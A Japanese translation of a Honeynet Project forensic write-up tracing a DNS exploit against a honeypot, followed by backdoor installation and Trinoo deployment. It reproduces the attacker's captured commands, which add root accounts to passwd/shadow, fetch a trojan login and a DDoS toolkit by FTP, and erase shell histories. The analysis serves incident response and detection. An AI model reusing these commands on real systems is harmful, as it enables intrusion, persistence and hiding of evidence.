forensics

Know Your Enemy:

A Forensic Analysis

The Study of an Attack

Honeynet Project

http://project.honeynet.org

Last Modified: 23 May 2000

この記事はKnow Your Enemyシリーズの続きである。最初の3編はクラッカー社会の使用ツールと戦略について触れた。この第4番目の記事はシステムへの攻撃が徐々に成功していく様を学習する。しかし、使われているツールや戦略の代わりに、何が起こったのか、そして、互いの情報をピックアップすることに焦点を当てる。その目的は、法的な解析に必要なスキルと、組織が直面している脅威を知ることにある。これは、MSNBCが発行しているオンライン上の対話型バージョンもある。

Background

ここでカバーする情報はハニーポットを使うことにより得られたものである。ハニーポットはRedHat 6.0のデフォルトサーバインストールで構築した。デフォルトのインストールで修正は加えず、デフォルトのRH6.0では脆弱性が議論された。また、全くデータがない状態から始まった。すべてのIPアドレス、ユーザアカウント、そしてキーストロークが現実のものとして議論された。これは、データを解析することと、法的解析をよりよく理解する目的で行われた。唯一パスワードのみが侵入されたシステムを守るために変更された。すべてのsniffer情報はsnortフォーマットにした。snortはその融通性、有用性そしてフリーという観点からsniffer及びIDSとして選択した。IDSのシグネチャはwww.whitehats.comのMax Visionを使用した。この記事を通して彼のarachNIDSに関する疑問のさらなる情報を得ることができる。ここで私のsnortの設定ファイルとシグネチャを得ることができる。一度この記事を読むと、私がすべての生データを得たようにあなた独自の法的解析を行うことができる。この記事を読むに従って、クラッカーがどれだけ多くのことなる種類のシステムを使用しているかに気をつけるべきだ。また、この記事を通して、クラッカーを「彼女」として見分けることにする。実際の性別は分からないが。

The Attack

4月26日6時43分、snortがシステムの1つをnoop攻撃をしたという警告を発した。noopのパケット量でバッファオーバーフロー攻撃であることが分かった。このケースでは、swatchでのモニターによると、snortが攻撃を食い止め、/var/log/messageに記録したことが分かった。ここでは、172.16.1.107がハニーポットのIPアドレスである。他のすべてのIPはクラッカーによるものである。

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

ハニーポットは日々の基本動作として、多数の探査、スキャン及びクエリを キャッチしていた。しかし、この警告のように私にすぐに知らせても、分かった時点では既に侵入されつつあるのである。ログから、2分と経たぬ前に攻撃者は接続とログインを始めたことがよく分かった。

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)

Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

侵入者は管理者権限でアクセスし、今、システムをコントロールしている。何を実施し、何が起こったのであろうか?我々は法的解析と徐々に起こる事象の観察を始めた。

The Analysis

攻撃を観察するとき、どこから始めたらよいのだろう?クラッカーはたいてい最初に情報を収集し、攻撃前にどこに脆弱性があるのかを決定する。システムが攻撃されているとき、それは、クラッカーが初めてそのシステムにアクセスしてきたわけではない。このような情報収集を含むほとんどの攻撃は、事前に着手される。そのため、クラッカーが情報収集を始めた段階で解析を始めればよい。

警告を見ると、ポート53番に攻撃が仕掛けられていることが分かる。これは、システムのDNSに対する攻撃を意味している。そこで私はsnortの警告と可能な限りのDNSに対する情報を探した。我々は同じシステム(攻撃元)からのDNSに対するクエリを発見した。

Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53

Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

4月25日に探られていることに注意されたい。我々が同じシステムから攻撃されたのは4月26日である。探索の次の日に侵入されたのだ。クラッカーが使った自動ツールで多数のシステムの DNS脆弱性をスキャンしたと判断した。スキャンを走らせた後、クラッカーは結果を見て、我々のを含む脆弱システムを指定し、利用し始めたのである。我々に対するクラッカーは4月25日にスキャンし、その次の日にシステムを利用し始めた。IDSの警告によると、スクリプトキディはよく知られたDNSの脆弱性を突いてきたことが分かった。しかしどうやって攻撃を始め、どのようになるのであろうか?探していこう。

The Exploit

ほとんどの商用IDSと同じように、snortはすべてのIPパケットのデータを示すことができる。我々はこの能力を踏み台利用の法的解析に使用することにする。利用情報はsnortのログ(tcpdumpフォーマット型式)から得ることができた。私はsnortログを見て攻撃がいつ始まったかを解析した。私はクラッカーが踏み台として利用しているであろう63.236.81.13に対する情報収集に妥協しなかった。このケースでは、クラッカーは少なくとも3つのシステムを踏み台としていた。踏み台としての利用の目標はリモートでのルートシェルの奪取である。一度ルートシェルを奪取されれば、管理者としてあらゆるコマンドを実行できる。ふつうにアカウントは/etc/passwd及び/etc/shadowに格納されている。あなたは法的解析の詳細の中から利用された痕跡とリモートで使用されたコマンドを見つけることができる。一度踏み台とされ、ルートシェルを奪われると、以下のコマンドが管理者として実行された。

cd /; uname -a; pwd; id;

Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown

/

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd

echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow

echo "hantu::0:0::/:/bin/bash" >> /etc/passwd

echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow

クラッカーはルートとしていくつかのコマンドを実行した。最初に、システムの名前を確認し(uname -a)、ディレクトリ(pwd)とuid(id)を確認した。そのとき彼女はtwinとhantuという2つのアカウントを追加し、同じパスワードに設定した。twinのuidは506で、hantu(インドネシアの幽霊の名前)のそれは0である。ほとんどのシステムではuid0ではtelnetができないようになっている。そこで彼女はリモートでアクセスをするのにアカウントを追加しなければならず、その際に他のアカウントがuid0を付与したのである。それで、クラッカーはDNSを利用し、ルートシェルを奪い、2つのアカウントを追加した。90秒以内に彼女はtelnetでボックス内に侵入し、管理者アクセスを成し遂げたのである(以下のログ参照)。それでは次に何をするのであろうか?

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)

Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

Gaining Access

我々にとって幸運なことに、telnetはプレーンテキストのプロトコルで、データは暗号化されていない。これは、我々がsnifferの探索を記録し、彼女のキーストロークのすべてをキャプチャできることを意味する。snortはすでに稼動しているところがsnortが好きなもう1つの理由である。telnetセッションでsnortがキャプチャしたキーストロークを解析することで、クラッカーが何をしようとしているのかを特定できた。標準入力のみならず、標準出力、エラー出力をも記録することができた。telnetセッションをレビューし、クラッカーの行動を確認してみよう (コメントは赤字).

最初に、クラッカーは213.28.22.189からtwinとしてtelnet接続し、hantuとしてスーパーユーザ権限を得た。uid0のhantuではtelnetのリモートアクセスはできないことに注意されたい。

#' !"'!"# ' 9600,9600'VT5444VT5444

Red Hat Linux release 6.0 (Shedwig)

Kernel 2.2.5-15 on an i586

login: twin

Password: Password: hax0r

No directory /home/twin!

Logging in with home = "/".

[twin@apollo /]$ su hantu

Password: Password: hax0r

次に、クラッカーはftpでtoolkitをダウンロードする。

[root@apollo /]# ftp 24.112.167.35

Connected to 24.112.167.35.

220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.

Name (24.112.167.35:twin): welek

331 Password required for welek.

Password:password

230 User welek logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> get bj.c

local: bj.c remote: bj.c

200 PORT command successful.

150 Opening BINARY mode data connection for bj.c (1010 bytes).

226 Transfer complete.

1010 bytes received in 0.115 secs (8.6 Kbytes/sec)

ftp> quit

221-You have transferred 1010 bytes in 1 files.

221-Total traffic for this session was 1421 bytes in 1 transfers.

221-Thank you for using the FTP service on linux.

221 Goodbye.

3番目に、彼女はbj.c,をコンパイルしてバックドアを仕掛け、/sbin/loginをすり替えた。すべてのコンパイルされたコマンドはコピーアンドペーストですり替えられた。

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c

bj.c:16: unterminated string or character constant

bj.c:12: possible real start of unterminated constant

彼女は今、バックドアを仕掛けるところである。

[root@apollo /]# chown root:bin login

chown: login: No such file or directory

root@apollo /]# chmod 4555 login

chmod: login: No such file or directory

root@apollo /]# chmod u-w login

chmod: login: No such file or directory

root@apollo /]# cp /bin/login /usr/bin/xstat

root@apollo /]# cp /bin/login /usr/bin/old

root@apollo /]# rm /bin/login

root@apollo /]# chmod 555 /usr/bin/xstat

root@apollo /]# chgrp bin /usr/bin/xstat

root@apollo /]# mv login /bin/login

mv: login: No such file or directory

root@apollo /]# rm bj.c

おお、失敗したようだ。もう一度ダウンロードし直している。

[root@apollo /]# ftp 24.112.167.35

Connected to 24.112.167.35.

220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.

Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35

Connected to 24.112.167.35.

220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.

Name (24.112.167.35:twin): welek

331 Password required for welek.

Password:331 Password required for welek.

Password:password

230 User welek logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> get bj.c

qulocal: bj.c remote: bj.c

200 PORT command successful.

u150 Opening BINARY mode data connection for bj.c (1011 bytes).

226 Transfer complete.

1011 bytes received in 0.134 secs (7.3 Kbytes/sec)

ftp> itit

221-You have transferred 1011 bytes in 1 files.

221-Total traffic for this session was 1422 bytes in 1 transfers.

221-Thank you for using the FTP service on linux.

221 Goodbye.

もう一度バックドアをコンパイルしようとしている。同じくカットアンドペースト方式を使っている。

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c

bj.c: In function `owned':

bj.c:16: warning: assignment makes pointer from integer without a cast

これでバックドアのコンパイルが完了した。正式の/bin/loginのコピーは/usr/bin/xstatに置き換わり、コンパイルされたトロイの木馬bj.cが/bin/loginに置き換わった。これがバックドアである。このトロイの木馬は誰にでもvt9111のTERMセッティングによる不正アクセスを許す。

[root@apollo /]# chown root:bin login

root@apollo /]# chmod 4555 login

root@apollo /]# chmod u-w login

root@apollo /]# cp /bin/login /usr/bin/xstat

cp: /bin/login: No such file or directory

root@apollo /]# cp /bin/login /usr/bin/old

cp: /bin/login: No such file or directory

root@apollo /]# rm /bin/login

rm: cannot remove `/bin/login': No such file or directory

root@apollo /]# chmod 555 /usr/bin/xstat

root@apollo /]# chgrp bin /usr/bin/xstat

root@apollo /]# mv login /bin/login

今、彼女は行動記録を隠した。このスクリプトはカットアンドペーストであると信じている。単独コマンドプロンプトからのすべての実行されたファイルを見よ。また、この消去スクリプトは一般的なもので、/tmp/h のような移動ファイルは存在しない。

[root@apollo /]# rm bj.c

[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named

359 ? 00:00:00 inetd

359 ? 00:00:00 inetd

rm: cannot remove `/tmp/h': No such file or directory

rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory

[root@apollo /]# ps -aux | grep portmap

[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named

359 ? 00:00:00 inetd

rm: cannot remove `/sbin/portmap': No such file or directory

rm: cannot remove `/tmp/h': No such file or directory

>rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory

[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory

おもしろいことに気がついた。クラッカーが消去しようとしたファイルが存在しないのだ。クラッカーはこのエラーを見てマニュアルで同じファイルを消そうとした。それでもそれらのファイルは存在しなかったが。

rm: cannot remove `/tmp/h': No such file or directory

rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory

root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory

rm: cannot remove `/tmp/h': No such file or directory

rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory

root@apollo /]# exit

exit

twin@apollo /]$ exit

logout

クラッカーはバックドアbj.cをインストールした。このバックドアはTERMのVT9111のようなセッティングで誰にでも不正侵入を許す。インストールができたので彼女はログアウトした。

システムから去った後、クラッカーは何度か再接続をし、システムの改ざんをした。クラッカーのキーストロークの生のデータをレビューしてみよう。

Trinoo, The Return

侵入された後、オフラインにしてtripwireのようなものでデータをレビューした。しかし、次の週にわたり、たくさんのシステムからハニーポットに向かってtelnet接続が試みられた。あからさまにクラッカーは侵入したがり、踏み台にしてさらに極悪な行動を起こそうとした。そこでオンラインにもどし、クラッカーが何をするのかを興味深く観察した。もう一度snortを使ってすべてのキーストロークをキャプチャした。以下にTrinoo clientとして何に使われたかを示す。

5月9日10時45分、クラッカーは24.7.85.192からtelnet接続した。どのようにしてバックドアVT9111で認証をパスしたかに注意してみよう。

!"' #'!"# ' 9600,9600'VT9111VT9111 Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 [root@apollo /]# ls bin cdrom etc home lost+found proc sbin usr boot dev floppy lib mnt root tmp var

システムで彼女はDNSを使おうとした。しかし、DNSはすでにハニーポット上で壊されていた。管理者権限で利用されたため、もはやドメイン名の解決ができなくなっていたのだ。

[root@apollo /]# nslookup magix

[root@apollo /]# nslookup irc.powersurf.com

Server: zeus-internal.uicmba.edu

Address: 172.16.1.101

クラッカーはシンガポールにftp接続して、新しいツールキットをダウンロードした。彼女は'.'ディレクトリにツールキットを格納し、見えないようにした。

[root@apollo /]# mkdir .s

root@apollo /]# cd .s

root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg

ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host

ftp> qquituit

root@apollo /.s]# ftpr 137.132.216.35

login: ftrp: command not found

root@apollo /.s]#

root@apollo /.s]# ftp 137.132.216.35

Connected to 137.132.216.35.

220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.

彼女はハニーポットに侵入したときと同じユーザ名でアクセスした。

Name (137.132.216.35:root): twin

331 Password required for twin.

Password:hax0r

230 User twin logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> get d.tar.gz

local: d.tar.gz remote: d.tar.gz

200 PORT command successful.

150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).

150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).

226 Transfer complete.

8323 bytes received in 1.36 secs (6 Kbytes/sec)

ftp> quit

221-You have transferred 8323 bytes in 1 files.

221-Total traffic for this session was 8770 bytes in 1 transfers.

221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.

221 Goodbye.

[root@apollo /.s]# gunzip d*

[root@apollo /.s]# tar -xvf d*

daemon/

daemon/ns.c

daemon/ns

[root@apollo /.s]# rm -rf d.tar

root@apollo /.s]# cd daemon

[root@apollo daemon]# chmod u+u+x nsx ns

root@apollo daemon]# ./ns

クラッカーはインストールを完了し、Trinooクライアントをスタートさせた。次に、彼女はよそのシステムに移ろうとした。どのようにVT TERMをセットしたかに注意されたい。その(移ろうとしている)システムは同じくバックドアが仕掛けられているものと思われる。DNSが働いていないため、接続に失敗した。

[root@apollo daemon]# TERM=vt1711

[root@apollo daemon]# telnet macau.hkg.com

macau.hkg.com: Unknown host

root@apollo daemon]# exit

exit

クラッカーはログアウトした。後で別なシステム(137.132.216.35)から戻ってきて、もう少し手を加えようとした。

!"' #'!"# ' 9600,9600'VT9111VT9111

Red Hat Linux release 6.0 (Shedwig)

Kernel 2.2.5-15 on an i586

[apollo /]# TERM=vt9111

telnet ns2.cpcc.cc.nc.us

ns2.cpcc.cc.nc.us: Unknown host

apollo /}#telnet 1 152.43.29.52

Trying 152.43.29.52...

Connected to 152.43.29.52.

Escape character is '^]'.

Connection closed by foreign host.

[root@apollo /]# TERM=vt7877

[root@apollo /]# telnet sparky.w

[root@apollo /]# exit

exit

この後、他のシステムに対し、Trinooの攻撃として加えられた。この時点で私は接続を切った。クラッカーは破壊目的で侵入したシステムを利用し、接続をモニターした。

May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444

May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335

May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444

May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335

May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444

May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335

Summary

我々は一歩一歩どのようにハニーポットが侵され、バックドアが仕掛けられ、最後にはTrinoo攻撃が仕掛けられるのかをカバーしてきた。4月25日、クラッカーは初めてDNSの走っているハニーポットのスキャンをかけてきた。翌日の4月26日、彼女はルートシェルを得るために、NXT-Name攻撃を仕掛けた(詳しくは攻撃に関するblack-hat HOWTOのNXT-Howtoを参照)。ルートシェルを得たあとは、彼女はtwinとhantuの2つのアカウントを追加した。その後彼女は直ちにハニーポットにtelnet接続をし、管理者権限でアクセスし、バックドアbj.cをダウンロードし、インストールした。その時彼女は痕跡を隠すスクリプトを実行し、システムから去った。数週間後、彼女はアクセスしようとしたが、オフラインだった。ついに5月9日、彼女はアクセスに成功、Trinooをインストールし実行した。この時点でハニーポッ トは永久にオフラインとした。主要な犯罪(の証拠)は、侵入されたシステムのログとsnortのログと警告である。他の数人は攻撃のさらなる分析に貢献した。

Conclusion

我々は一歩一歩ハニーポットがどのように侵されていくかを分析した。目標はシステムとIDSのログを法的解析し、どのようにシステムに侵入されたかを特定することにある。この攻撃を分析することにより、分析時に何に期待し、何を探すべきかがよく理解できたことと思う。さらなる情報を得たければ、To Build A Honeypotに書いてある。

セキュリティコミュニティへの貢献として、Marty RoeschMax Vision にお礼を言いたい。彼らの働きがなければ今回の学習は存在しなかったであろう。この情報がリリースされる前に情報はCERTに送った。また、攻撃に関係したすべてのIP(の所有者)とコンタクトも取った。